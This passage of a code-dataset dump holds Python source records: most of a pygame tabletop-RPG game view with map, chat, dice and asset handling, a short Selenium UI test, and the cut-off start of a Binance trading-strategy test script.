filename = text.split(\"/\")[-1]\n                                new_name = os.getcwd() + \"/tmp/\" + filename\n                                copyfile(text, new_name)\n                                self.load_pictures()\n                                # insert into database\n                                with open(new_name, 'rb') as f:\n                                    photo = f.read()\n                                encoded_image = base64.b64encode(photo)\n                                client.add_asset(client.user.get_username(), filename, encoded_image)\n                                game.add_asset(filename)\n                                # send request to everyone to grab this asset\n                                async_send([\"asset_added\",[client_id, filename]])\n                                self.clear_bottom_info()\n                                self.display_message(\"_FILE ADDED_\\n\"+general_message)\n                        else: \n                            self.clear_bottom_info()\n                            self.display_message(\"_FILE DOES NOT EXIST_\\n\"+general_message)\n                add_asset_box.handle_event(event)\n            add_asset_box.wipe()\n            add_asset_box.draw()\n            pygame.display.flip()  \n\n        return\n    \n    def remove_player(self):\n        self.clear_bottom_info()\n        surf, tpos = self.display_message(\"_Remove Player:_ \\n\")\n\n        remove_player_box = InputBox(MAPOFFSET[0] + 200, tpos[1], game.map.tilesize*game.map.width - 200, 32, DISPLAYSURF)\n\n        RUNNING = True\n        selected_player = None\n        blit_input = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    pass\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        return\n                    elif event.key == K_RETURN and selected_player is None:\n                        text = remove_player_box.text.rstrip()\n                        if text in PLAYER_LIST:\n                            self.clear_bottom_info()\n                            blit_input = False\n                            selected_player = text\n                            self.display_message(\"Are you sure you wish to remove {}? Press Y to confirm, or N to cancel.\".format(selected_player))\n                    elif event.key == K_y and selected_player:\n                        async_send([\"remove_player\", selected_player])\n                        game.append_transcript(\"GM removed: {}\".format(selected_player))\n                        self.send_update_to_all()\n                        PLAYER_LIST.remove(selected_player)\n                        selected_player = None\n                        blit_input = True\n                        remove_player_box.text = \"\"\n                        event.key = K_RETURN\n                        self.clear_bottom_info()\n                        surf, tpos = self.display_message(\"_Remove Player:_ \\n\")\n                    elif event.key == K_n and selected_player:\n                        selected_player = None\n                        blit_input = True\n                        remove_player_box.text = \"\"\n                        event.key = K_RETURN\n                        self.clear_bottom_info()\n                        surf, tpos = self.display_message(\"_Remove Player:_ \\n\")\n                if blit_input:\n                    remove_player_box.handle_event(event)\n            if blit_input:\n                remove_player_box.wipe()\n                remove_player_box.draw()\n            pygame.display.flip()   \n\n        return\n\n    def roll_dice(self):\n        self.clear_bottom_info()\n        surf, tpos = self.display_message(\"Roll:\")\n\n        buf = MAPOFFSET[0] + surf.get_width() + 10\n        number_of = InputBox(buf, game.map.tilesize*game.map.height, 50, 32, DISPLAYSURF)\n        surf, tpos = ptext.draw(\"d\", (buf + 60, game.map.tilesize*game.map.height + 10), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n        buf = tpos[0] + surf.get_width() + 10\n        d_roll = InputBox(buf, game.map.tilesize*game.map.height, 50, 32, DISPLAYSURF)\n        ptext.draw(\"Max die: 100. Max sides: 120. Press ESC to exit this mode.\", (buf + 60, game.map.tilesize*game.map.height + 10), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width=game.map.width*game.map.tilesize*0.5)\n        myrect = pygame.Rect(MAPOFFSET[0], game.map.tilesize*game.map.height + surf.get_height() + 10, game.map.width*game.map.tilesize, DISPLAYSURF.get_height()-(game.map.tilesize*game.map.height))\n\n        RUNNING = True\n        while RUNNING:    \n            for event in pygame.event.get():\n                if event.type == QUIT:\n                    self.leave_game()\n                elif event.type == MOUSEBUTTONDOWN:\n                    pass\n                elif event.type == KEYDOWN:   \n                    if event.key == K_ESCAPE:\n                        self.clear_bottom_info()\n                        return\n                    elif event.key == K_RETURN:\n                        if len(d_roll.text)>0:\n                            pygame.draw.rect(DISPLAYSURF, COLOR_BLACK, myrect, 0)\n                            d_string = number_of.text + \"d\" + d_roll.text\n                            result = game.ruleset_copy.roll_dice(d_string)\n                            if result is None:\n                                result = \"ERROR: IMPROPER ENTRY\"\n                            surf, tpos = ptext.draw(d_string +\" = \"+ str(result), (MAPOFFSET[0] + 10, game.map.tilesize*game.map.height + surf.get_height() + 10), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n                            number_of.text = \"\"\n                            d_roll.text = \"\"\n                number_of.handle_event(event)\n                d_roll.handle_event(event)\n            number_of.wipe()\n            number_of.draw()\n            d_roll.wipe()\n            d_roll.draw()\n            pygame.display.flip()\n        return\n\n    def clear_bottom_info(self, x=None, y=None):\n        # clear screen \n        if x is None or y is None:\n            x = MAPOFFSET[0]\n            y = game.map.tilesize*game.map.height\n        myrect = pygame.Rect(x, y, game.map.width*game.map.tilesize, DISPLAYSURF.get_height()-y)\n        pygame.draw.rect(DISPLAYSURF, COLOR_BLACK, myrect, 0)\n        return\n\n    def help_screen(self, status):\n        self.clear_bottom_info()\n        # blit hotkey information\n        if status:\n            info = \"_GM HOTKEYS:_\\n\"\n            hotkeys = GM_HOTKEYS\n        else:\n            info = \"_PLAYER HOTKEYS:_\\n\"\n            hotkeys = PLAYER_HOTKEYS\n        \n        for key, pair in hotkeys.items():\n            info += key + \": \" + pair[\"name\"] + \"\\n\"\n\n        self.display_message(info)\n        return\n\n    def display_message(self, message, notation=\"_\"):\n        txt_surface, tpos = ptext.draw(message, (MAPOFFSET[0] + 10, game.map.tilesize*game.map.height + 10), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = game.map.width*game.map.tilesize, underlinetag=notation)\n        return txt_surface, tpos\n\n    def update_fog(self):\n        for rw in range(game.map.height):\n            for cl in range(game.map.width):\n                if not game.map.fogOfWar[rw][cl]:\n                    DISPLAYSURF.blit(FOG_IMAGE, GAMEVIEW.offset_blit(cl*game.map.tilesize, rw*game.map.tilesize))\n        return\n\n    def update_fog_GM(self):\n        for rw in range(game.map.height):\n            for cl in range(game.map.width):\n                if not game.map.fogOfWar[rw][cl]:\n                    self.draw_entity_box(rw, cl, (0,0,255))\n        return\n\n    def _images_string(self):\n        self.load_pictures()\n        display_string = \"\"\n        for key in self.images:\n            display_string += key + \", \"\n        return display_string\n\n    def blit_texture(self, texture):\n        texture_image = pygame.transform.scale(self.images[texture.name], (texture.width*game.map.tilesize,texture.height*game.map.tilesize))\n        DISPLAYSURF.blit(texture_image, GAMEVIEW.offset_blit(texture.y*game.map.tilesize, texture.x*game.map.tilesize))\n        return\n\n    def blit_default(self, x, y):\n        DISPLAYSURF.blit(DEFAULT_IMAGE, GAMEVIEW.offset_blit(y*game.map.tilesize, x*game.map.tilesize))\n        return\n\n# TODO FOR REVIEW TO ENSURE THAT CHAT WITH OTHER USERS CAN WORK + REUSE INPUT BOX FOR OTHER\n# NEEDS\nclass InputBox:\n    # https://stackoverflow.com/questions/46390231/how-to-create-a-text-input-box-with-pygame\n\n    def __init__(self, x, y, w, h, screen, text='', client = None):\n        self.color = COLOR_INACTIVE\n        self.text = text\n        self.txt_surface = ptext.getsurf(self.text, sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = w)\n        self.height = self.txt_surface.get_height() + 5\n        self.rect = pygame.Rect(x, y, w, self.height)\n        self.active = False\n        self.screen = screen\n        self.client = client\n\n    def handle_event(self, event, chatting=False):\n        if event.type == MOUSEBUTTONDOWN:\n            # If the user clicked on the chat_input_box rect.\n            if self.rect.collidepoint(event.pos):\n                # Toggle the active variable.\n                self.active = not self.active\n            else:\n                self.active = False\n            # Change the current color of the input box.\n            self.color = COLOR_ACTIVE if self.active else COLOR_INACTIVE\n        if event.type == KEYDOWN:\n            if self.active:\n                if event.key == K_RETURN:\n                    if len(self.text) > 0:\n                        if chatting:\n                            my_message = self.client.user.get_username() + \": \" + str(self.text)\n                            game.append_transcript(my_message)\n                            async_send(['chat', [client_id, my_message]])\n                        self.text = \"\"\n                        self.remove_old_block()\n                elif event.key == K_BACKSPACE:\n                    self.text = self.text[:-1]\n                    tmp_surface = ptext.getsurf(self.text, sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n                    if tmp_surface.get_height() < (self.rect.h-5):\n                        self.remove_old_block()\n                else:\n                    self.text += event.unicode\n\n        return\n\n    def remove_old_block(self):\n        self.rect.h += 5\n        pygame.draw.rect(self.screen, COLOR_BLACK, self.rect, 0)\n        self.rect.h = self.height\n\n    def draw(self):\n        # Blit the text.\n        self.txt_surface, tpos = ptext.draw(self.text, (self.rect.x+5, self.rect.y+5), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n        self.rect.h = self.txt_surface.get_height() + 5\n        # Blit the rect.\n        pygame.draw.rect(self.screen, self.color, self.rect, 2)\n\n    def wipe(self):\n        # Blit the rect box.\n        pygame.draw.rect(self.screen, COLOR_BLACK, self.rect, 0)\n        pygame.draw.rect(self.screen, self.color, self.rect, 2)\n\nclass Transcript:\n    def __init__(self, x, y, w, h, screen, transcript=''):\n        self.rect = pygame.Rect(x, y, w, h)\n        self.transcript = transcript\n        self.transcript_in_view = transcript\n        self.screen = screen\n        self.color = COLOR_INACTIVE\n        self.txt_surface = None\n        self.active = False\n\n    def handle_event(self, event):\n        if event.type == MOUSEBUTTONDOWN:\n            # If the user clicked on the chat_input_box rect.\n            if self.rect.collidepoint(event.pos):\n                # Toggle the active variable.\n                self.active = not self.active\n            else:\n                self.active = False\n            # Change the current color of the input box.\n            self.color = COLOR_ACTIVE if self.active else COLOR_INACTIVE\n        if event.type == KEYDOWN:\n            if self.active:\n                if event.key == K_DOWN:\n                    self.scroll_down()\n                elif event.key == K_UP:\n                    self.scroll_up()\n\n    def update(self, transcript):\n        if self.transcript != transcript:\n            self.transcript = transcript\n            self.next_line()\n            self.adjust_transcript_view()\n            \n    def draw(self):\n        # Blit the text.\n        self.txt_surface, tpos = ptext.draw(self.transcript_in_view, (self.rect.x+5, self.rect.y+5), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n        # Blit the rect.\n        pygame.draw.rect(self.screen, self.color, self.rect, 2)\n\n    def wipe(self):\n        # Blit the rect.\n        pygame.draw.rect(self.screen, COLOR_BLACK, self.rect, 0)\n\n    def scroll_up(self):\n        if len(self.transcript_in_view) < len(self.transcript):\n            try:\n                # add to top of string last part of whole transcript before it\n                beforehand = self.transcript.split(self.transcript_in_view,1)[0]\n                first_line = beforehand.split(\"\\n\")[-2]\n                self.transcript_in_view = first_line + \"\\n\" + self.transcript_in_view \n                # pop off the bottom of transcript in view\n                lines = self.transcript_in_view.split(\"\\n\")\n                copyof = lines[0:len(lines)-2]\n                self.transcript_in_view = \"\\n\".join(copyof) + \"\\n\"\n                # display this\n                self.adjust_transcript_view()\n            except Exception as e:\n                # print(e)\n                if e != \"list index out of range\":\n                    print(e)\n\n    def scroll_down(self):\n        if len(self.transcript_in_view) < len(self.transcript):\n            # add the next line in the transcript\n            afterwards = self.transcript.split(self.transcript_in_view,1)[-1]\n            if len(afterwards) >= 1:\n                first_line = afterwards.split(\"\\n\")[0]\n                self.transcript_in_view = self.transcript_in_view + first_line + \"\\n\"\n                # pop off the top\n                self.transcript_in_view = self.transcript_in_view.split(\"\\n\",1)[-1]\n                # display this \n                self.adjust_transcript_view()\n\n    def next_line(self):\n        self.transcript_in_view += self.transcript.split(\"\\n\")[-2] + \"\\n\"\n\n    def adjust_transcript_view(self):\n        tmp_surface = ptext.getsurf(self.transcript_in_view, sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n        if len(self.transcript_in_view) < len(self.transcript):\n        # if not down:\n            while (tmp_surface.get_height() < self.rect.h):\n                # add to top of string last part of whole transcript before it\n                try:\n                    beforehand = self.transcript.split(self.transcript_in_view,1)[0]\n                    first_line = beforehand.split(\"\\n\")[-2]\n                    self.transcript_in_view = first_line + \"\\n\" + self.transcript_in_view \n                    tmp_surface = ptext.getsurf(self.transcript_in_view, sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n                except Exception as e:\n                    break\n        while (tmp_surface.get_height() > self.rect.h):\n            self.transcript_in_view = self.transcript_in_view.split(\"\\n\",1)[-1]\n            tmp_surface = ptext.getsurf(self.transcript_in_view, sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = self.rect.w)\n\n# ------------------------------------------------------------------------------------------------------------\n# GLOBAL VAR\ngame = Game()\nGAMEVIEW = GameView()\npygame.init()\n# GENERAL COLORS AND ITEMS\nRESOLUTION_SCALING = 1600\nif platform.system() == \"Darwin\":\n    res = subprocess.check_output([\"system_profiler\",\"SPDisplaysDataType\"])\n    res_val = str(res).split(\"Resolution\")[1].split(\"\\\\n\")[0].split(\"x\")[1].split()[0]\n    res_val = int(res_val)\n    if res_val < 800: \n        res_val = 800 #added for other computers being too small in res\n    FONTSIZE = int(30*res_val/RESOLUTION_SCALING)\nelif platform.system() == \"Windows\":\n    FONTSIZE = int(30*pyautogui.size()[1]/RESOLUTION_SCALING)\nFONTTYPE = pygame.font.SysFont('arial', FONTSIZE)\nDISPLAYSIZE = (1300,750)\nDISPLAYSURF = pygame.display.set_mode(DISPLAYSIZE)\npygame.display.set_caption('RPGenerator')\nOLDSURF = None\nMAPOFFSET = (200,0)\nCOLOR_BLACK = (0, 0, 0)\nCOLOR_WHITE = (255, 255, 255)\nCOLOR_RED = (255, 0, 0)\nCOLOR_INACTIVE = pygame.Color('lightskyblue3')\n# COLOR_ACTIVE = pygame.Color('dodgerblue2')\nCOLOR_ACTIVE = COLOR_RED\nGM_STATUS = True\nGM_HOTKEYS = {\"f\": {\"name\": \"Toggle FOG\", \"function\": GAMEVIEW.toggle_fog},\n              \"t\": {\"name\": \"Add Texture\", \"function\": GAMEVIEW.add_texture},\n              \"e\": {\"name\": \"Edit Entity\", \"function\": GAMEVIEW.edit_entity},\n              \"c\": {\"name\": \"Create New Entity\", \"function\": GAMEVIEW.create_new_entity},\n              \"a\": {\"name\": \"Add Asset\", \"function\": GAMEVIEW.add_asset},\n              \"d\": {\"name\": \"Delete Entity\", \"function\": GAMEVIEW.delete_entity},\n              \"p\": {\"name\": \"Remove Player\", \"function\": GAMEVIEW.remove_player},\n              \"r\": {\"name\": \"Roll Dice\", \"function\": GAMEVIEW.roll_dice}}\nPLAYER_HOTKEYS = {\"r\": {\"name\": \"Roll Dice\", \"function\": GAMEVIEW.roll_dice}}\nPLAYER_LIST = []\nDEFAULT_IMAGE = pygame.transform.scale(GAMEVIEW.images[\"grey.png\"], (50,50))\nFOG_IMAGE = pygame.transform.scale(GAMEVIEW.images[\"fog.png\"], (50,50))\n\n# -----------------------------------------------------------------------------------------------------------------------\n\ndef main(clientObj, gameObj, clientID, gmOrPlayer = True, validatorObj = None):\n    global game\n    global GM_STATUS\n    global client\n    global client_id\n    global PLAYER_LIST\n\n    game = gameObj\n    GM_STATUS = gmOrPlayer\n    client = clientObj\n    client_id = clientID\n    PLAYER_LIST = []\n\n    GAMEVIEW.load_pictures_from_database()\n    \n    if validatorObj is not None:\n        game.ruleset_copy = RuleEnactor()\n        game.ruleset_copy.parse_validator(validatorObj)\n        game.set_ruleset_copy(game.ruleset_copy)\n        client.update_game(int(game.get_uniqueID()), jsonpickle.encode(game))\n\n    # # START TO DISPLAY MAP\n    DISPLAYSURF.fill(COLOR_BLACK)\n    ptext.draw(\"Game Id: {}\".format(game.uniqueID), (5, 0), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE)\n    ptext.draw(\"Game Name: {}\".format(game.name), (5, 35), sysfontname=\"arial\", color=COLOR_WHITE, fontsize=FONTSIZE, width = 200)\n\n    GAMEVIEW.blit_entire_map()\n    GAMEVIEW.help_screen(GM_STATUS)\n\n    my_entity = None\n    chat_input_box = InputBox(MAPOFFSET[0]+game.map.width*game.map.tilesize, DISPLAYSURF.get_height()-200, 200, 32, DISPLAYSURF, client = client)\n    history = Transcript(MAPOFFSET[0]+game.map.width*game.map.tilesize, MAPOFFSET[1], 200, DISPLAYSURF.get_height()-(DISPLAYSURF.get_height()-chat_input_box.rect.y), DISPLAYSURF)\n    # transcript = \"\"\n    action_requested = \"\"\n\n    global TYPES_OF_ENTITIES\n    TYPES_OF_ENTITIES = []\n    for entity_type in game.ruleset_copy.entity_types:\n        TYPES_OF_ENTITIES.append(entity_type.get_type().lower())\n    global CONCRETE_TYPES_OF_ENTITIES\n    CONCRETE_TYPES_OF_ENTITIES = []\n    for entity_type in game.ruleset_copy.concrete_entity_types:\n        CONCRETE_TYPES_OF_ENTITIES.append(entity_type.get_type().lower())\n\n    print(TYPES_OF_ENTITIES)\n    print(CONCRETE_TYPES_OF_ENTITIES)\n\n    RUNNING = True\n    while RUNNING:   \n        if GM_STATUS and my_entity is None:\n            GAMEVIEW.update_fog_GM() \n        if shared_var.JOIN_REQUEST_FLAG:\n            print(\"JOIN REQUEST FLAG\")\n            print(shared_var.MESSAGE_CONTENT)\n            GAMEVIEW.join_request_popup()\n            shared_var.JOIN_REQUEST_FLAG = False\n        if shared_var.ACTION_REQUEST_FLAG:\n            print(\"ACTION REQUEST FLAG\")\n            print(shared_var.MESSAGE_CONTENT)\n            GAMEVIEW.action_request_popup()\n            shared_var.ACTION_REQUEST_FLAG = False\n        if shared_var.GM_LEAVES_FLAG:\n            print(\"GM LEFT THE ROOM\")\n            GAMEVIEW.gm_leaves_room_popup()\n            shared_var.GM_LEAVES_FLAG = False\n            return\n        if shared_var.ASSET_ADDED_FLAG:\n            print(\"GM ADDED AN ASSEET\")\n            GAMEVIEW.load_pictures_from_database(shared_var.MESSAGE_CONTENT)\n            shared_var.ASSET_ADDED_FLAG = False\n        if shared_var.UPDATE_GAME_FLAG:\n            print(\"GM UPDATED THE GAME, GETTING GAME\")\n            gameObj = client.get_game_from_room_number(game.get_uniqueID())\n            game = jsonpickle.decode(gameObj[0][0])\n            print(game.ruleset_copy.all_created_entities)\n            shared_var.UPDATE_GAME_FLAG = False\n            GAMEVIEW.blit_entire_map()\n            pygame.display.flip()\n        if shared_var.CHAT_FLAG:\n            for chat in shared_var.CHAT_CONTENT:\n                print(\"chat from CHAT_CONTENT: {}\".format(chat))\n                game.append_transcript(chat)\n            shared_var.CHAT_CONTENT = []\n            shared_var.CHAT_FLAG = False\n\n        # start the loop that handles the events\n        for event in pygame.event.get():\n            if event.type == QUIT:\n                GAMEVIEW.leave_game()\n            elif event.type == MOUSEBUTTONDOWN:\n                mousepos = pygame.mouse.get_pos()\n                mousepos = (mousepos[0]-MAPOFFSET[0],mousepos[1]-MAPOFFSET[1])\n                print(mousepos)\n                if my_entity is not None and action_requested is not \"Move\":\n                    GAMEVIEW.remove_previous_popup()\n                    if mousepos[0] in range(location[0],location[0]+size[0]) and mousepos[1] in range(location[1],location[1]+size[1]):\n                        rowsize = size[1]/(len(my_entity.get_actions())+1)\n                        option_selected = math.floor((mousepos[1]-location[1])/rowsize)\n                        if option_selected == 0:\n                            action_requested = \"Move\"\n                        else:\n                            action_requested = my_entity.get_actions()[option_selected-1]\n                            result = game.ruleset_copy.perform_action(action_requested, my_entity)\n                            print(TYPES_OF_ENTITIES)\n                            result = result.lower()\n                            if result == \"point\" or result in TYPES_OF_ENTITIES:\n                                item = GAMEVIEW.action_sequence(result)\n                                result = game.ruleset_copy.perform_action_given_target(action_requested, my_entity, item)\n                            game.append_transcript(result)\n                            GAMEVIEW.help_screen(GM_STATUS)\n                            my_entity = None\n                            print(result)\n                            if GM_STATUS:\n                                GAMEVIEW.blit_entire_map()\n                                GAMEVIEW.send_update_to_all()\n                            else:\n                                print(\"TODO SEND THIS ACTION AS A REQUEST TO THE GM TO APPROVE IF YOU ARE A PLAYER.\")\n                                # TODO APPEND TO TRANSCRIPT\n                                client.update_game(game.get_uniqueID(), jsonpickle.encode(game))\n                                async_send([\"request_action\", [client_id, game.get_uniqueID(), client.user.get_username(), result]])    \n                        print(action_requested)\n                    else:\n                        my_entity = None\n                elif my_entity is not None and action_requested is \"Move\":\n                    # grab new location\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    # if it is a valid locatin and there are no other game.entities there\n                    if x != -1 and y != -1 and GAMEVIEW.check_entity_fit(my_entity.size.get_width(), my_entity.size.get_height(), x, y, my_entity):\n                        # remove old image and replace with generic block, then cover with texture if there are any       \n                        for i in range(0,my_entity.size.get_width()):\n                            for j in range(0,my_entity.size.get_height()):\n                                if str((my_entity.x+j, my_entity.y+i)) in game.map.textures:\n                                    GAMEVIEW.blit_texture(game.map.textures[str((my_entity.x+j, my_entity.y+i))])\n                                else:\n                                    GAMEVIEW.blit_default((my_entity.x+j), (my_entity.y+i))\n                        \n                        result = client.user.get_username() + \" moved \" + my_entity.get_name() + \" from \" + str((my_entity.x, my_entity.y)) \n                        my_entity = game.ruleset_copy.move_entity(my_entity, (x,y))\n                        result += \" to \" + str((my_entity.x, my_entity.y)) \n                        game.append_transcript(result)\n                        # blit entity to it\n                        my_entity_image = pygame.transform.scale(GAMEVIEW.images[my_entity.get_image_filename()], (my_entity.size.get_width()*game.map.tilesize,my_entity.size.get_height()*game.map.tilesize))\n                        DISPLAYSURF.blit(my_entity_image, GAMEVIEW.offset_blit(my_entity.y*game.map.tilesize, my_entity.x*game.map.tilesize))\n                        \n                        if GM_STATUS:\n                            # GAMEVIEW.blit_entire_map()\n                            GAMEVIEW.send_update_to_all()\n                        else:\n                            print(\"TODO SEND THIS ACTION AS A REQUEST TO THE GM TO APPROVE IF YOU ARE A PLAYER.\")\n                            # TODO APPEND TO TRANSCRIPT\n                            client.update_game(game.get_uniqueID(), jsonpickle.encode(game))\n                            async_send([\"request_action\", [client_id, game.get_uniqueID(), client.user.get_username(), result]]) \n                    # wipe signals\n                    action_requested = \"\"\n                    my_entity = None\n                else:\n                    x, y = GAMEVIEW.which_tile(mousepos)\n                    if x in range(game.map.height) and y in range(game.map.width) and (GM_STATUS or (not GM_STATUS and game.map.fogOfWar[x][y])):\n                        my_entity = GAMEVIEW.which_entity(x, y)\n                        if my_entity is not None:\n                            if (my_entity.y + my_entity.size.get_width()) >= game.map.width or (my_entity.x + my_entity.size.get_height()) >= game.map.height:\n                                loc_x, loc_y = GAMEVIEW.tile_location((my_entity.x,my_entity.y))\n                            else:    \n                                loc_x, loc_y = GAMEVIEW.tile_location((my_entity.size.get_width()+my_entity.x,my_entity.size.get_height()+my_entity.y))\n                            size, location = GAMEVIEW.make_popup(loc_x, loc_y, my_entity)\n\n            elif event.type == KEYDOWN:   \n                if event.key == K_ESCAPE:\n                    GAMEVIEW.leave_game(False)\n                    RUNNING = False\n                elif GM_STATUS and event.unicode in GM_HOTKEYS and not chat_input_box.active:\n                    if my_entity is not None:\n                        # wipe what is currently on the screen before continuing\n                        GAMEVIEW.remove_previous_popup()\n                        my_entity = None\n                        action_requested = \"\"\n                        pygame.display.flip()\n                    print(GM_HOTKEYS[event.unicode][\"name\"])\n                    GM_HOTKEYS[event.unicode][\"function\"]()\n                    GAMEVIEW.help_screen(GM_STATUS)\n                    if GM_HOTKEYS[event.unicode][\"name\"] != \"Add Asset\":\n                        GAMEVIEW.send_update_to_all()\n                elif not GM_STATUS and event.unicode in PLAYER_HOTKEYS and not chat_input_box.active:\n                    print(PLAYER_HOTKEYS[event.unicode][\"name\"])\n                    PLAYER_HOTKEYS[event.unicode][\"function\"]()\n                    GAMEVIEW.help_screen(GM_STATUS)\n            # input box handling + transcript update\n            chat_input_box.handle_event(event,True)\n            history.handle_event(event)\n            history.update(game.transcript)\n            # transcript = chat_input_box.handle_event(event, transcript)\n\n        # chat commands\n        chat_input_box.wipe()\n        history.wipe()\n        chat_input_box.draw()\n        history.draw()\n\n        pygame.display.flip()\n\n\nif __name__ == \"__main__\":\n    client = Client()\n\n    # Game Class\n    new_game = Game()\n    new_game.name = \"Test Suite\"\n    new_game.uniqueID = 1\n    new_game.map = Map(tilesize = 50, height = 10, width = 18)\n    \n    # create the map and add add textures to it\n    new_game.map.textures[(3,3)] = Map.Texture(3,3,1,1,\"grass.png\")\n    new_game.map.textures[(3,4)] = Map.Texture(3,4,1,1,\"grass.png\")\n    \n    #example fog\n    new_game.map.fogOfWar[8][15] = False\n    new_game.map.fogOfWar[8][16] = False\n    new_game.map.fogOfWar[9][15] = False\n    new_game.map.fogOfWar[9][16] = False\n\n    ###### Rule Validation TEST START #######\n    validator = _Validator()\n    isTemplate = False\n    hp_time = Attribute(\"HP\", \"10\")    \n    ac_time = Attribute(\"AC\", 11)    \n    template = Entity(\"\", \"entity\", 1, 1, isTemplate, None)\n    template.add_attribute(hp_time)\n    template.add_attribute(ac_time)\n            \n    attack_rule = \"target entity:\\nroll = d20\\nif roll > target.AC then reduce target.HP by 1d8\\n\"\n    attack_action = Action(\"Attack\", attack_rule)\n    fireball_rule = \"target point:\\nif all entity within(3, 3) of target and d20 > entity.AC then reduce entity.HP by 6d6\\n\"\n    fireball_action = Action(\"Fireball\", fireball_rule)\n    template.add_action(attack_action)\n    template.add_action(fireball_action)\n            \n    validator.add_entity(template)\n    game.ruleset_copy.parse_validator(validator)\n\n    entity = game.ruleset_copy.add_new_entity(\"entity\", \"Andrew\", 3, 7)\n    entity.set_image_filename(\"default-image.png\")\n    ###### Rule Validation TEST END #######\n\n    main(client, gameObj = new_game, gmOrPlayer = True, validatorObj = validator)\n","repo_name":"ShallyBanh/RPGenerator","sub_path":"game_view.py","file_name":"game_view.py","file_ext":"py","file_size_in_byte":63339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"74953377652","text":"# coding=utf-8\n__author__ = 'zhangchun@pathbook.com.cn'\n\nimport time\nfrom drivers import *\n\nclass TestCase(unit.TestCase):\n\n    def setUp(self):\n        self.driver = self.app(__file__)\n        self.driver.login()\n\n    def tearDown(self):\n        self.driver.switch_to_home()\n\n\n    def test_createOperator(self):\n        '''\n        添加账号页面，选中角色复选框\n        :return:\n        '''\n        above=self.driver.find_element_by_link_text(u'系统管理')\n\n        self.driver.action_chains().move_to_element(above).perform()\n        #鼠标悬停在系统管理上\n        self.driver.find_element_by_link_text(u'账号管理').click()\n        self.driver.find_id('create').click()\n        opts=self.driver.find_id('pf2_roles').find_tags('input')\n        for opt in opts:\n            if opt.get_attribute('title')==u'客服经理':\n\n                opt.click()\n                self.assertTrue(opt.is_selected(),u'下拉框选项没有被选中')\n                time.sleep(2)\n                opt.click()\n                self.assertFalse(opt.is_selected())","repo_name":"cash2one/AutoDriver","sub_path":"testcase/Autobook/op/test_op_selectRole.py","file_name":"test_op_selectRole.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7383644293","text":"from datetime import datetime\nimport Portfolio.portfolio as pf\nimport Portfolio.share as sh\nimport Strategy.johanssen_classic as jo\nimport mediator as med\nimport enums as cst\nimport binance_data.scrap_datas as bt\nimport binance_data.data_retrieving as dr\nimport binance_data.csv_to_data as cd\nimport market_quotation as mq\n\n\ndef test_strategy () -> None :\n    quote_currency = \"USDT\"\n    # portfolio_name = \"test portfolio\"\n    # starting_money = 1000.0\n    # my_portfolio = pf.Portfolio(quote_currency, portfolio_name, starting_money)\n\n    # reference_pair = 'BTCUSDT'\n    # Scrap w.r.t. the volume\n    # check_crypto_volume = {}\n    # check_crypto_volume[quote_currency] = 7500000000\n    start_date = \"2020-04\"\n    end_date = \"2022-08\"\n    parameters_scrap = {\"folder\": cst.ROOT_DIR,\n                   \"years\": cst.YEARS, \"months\": [1,2,3,4,5,6,7,8,9,10,11,12],\n                   \"trading_type\": \"spot\", \"intervals\": ['15m'],\n                   \"startDate\": start_date, \"endDate\": end_date,\n                   \"checksum\": False}\n\n    #Old test\n    #do_i_scrap = False #Turn to true for scrapping market datas\n    # symbols_scrapped = bt.scrap_datas(check_crypto_volume, parameters_scrap, do_i_scrap)\n    #Scrap w.r.t. the volume\n\n    #LUNCUSDT does not exists in the database, binance url is down\n    # if \"LUNCUSDT\" in symbols_scrapped[\"USDT\"] :\n    #     symbols_scrapped[\"USDT\"].remove(\"LUNCUSDT\")\n    # In the next version\n    # delete from the list the pairs if the url does not respond\n\n    #Another version with my selected pairs\n    pairs_to_trade= {}\n    pairs_to_trade [quote_currency] =\\\n        [\"BTCUSDT\", \"BNBUSDT\"]\n        # [\"BTCUSDT\", \"ETHUSDT\", \"XRPUSDT\", \"SOLUSDT\", \"ADAUSDT\", \"LTCUSDT\", \"BNBUSDT\", \"TRXUSDT\"]\n    # pairs_to_trade [quote_currency] = [\"BTCUSDT\", \"SOLUSDT\"]\n    parameters_scrap[\"symbols\"] = pairs_to_trade\n    dr.retrieve_historic_from_binance_datas (parameters_scrap)\n    #Another version with my selected pairs\n\n    #3rd I convert them into a dataframe\n    print(\"To dataframe: Start\")\n    # pairs_to_trade = symbols_scrapped[quote_currency]\n    pairs_to_trade = pairs_to_trade[quote_currency]\n    start_date = start_date + \"-01\"\n    end_date = end_date + \"-31\"\n    market_quotations = cd.csv_to_dataframe_of_many_pairs(pairs_to_trade, 'spot', '15m',\\\n                                                          start_date, end_date)\n    #We initialize the market quotation client\n    mq.MarketQuotationClient (market_quotations)\n    # test.get_client().set_quotations(market_quotations)\n    print(\"To dataframe: Done.\")\n\n    print(\"Strategy: Start.\")\n    #Shares to trade\n    _shares = []\n    for key in market_quotations:\n        _shares.append(key)\n\n    #Parameters for johanssen Strategy\n    time_candle = 15\n    days_rolling_window = 300\n    time_cycle_in_second = time_candle * 60\n    initial_investment_percentage = 0.10\n    transaction_cost = 0.0010000\n    strategy_name = \"Test Strategy\"\n    _days = 2\n    _freezing_cycle = _days * 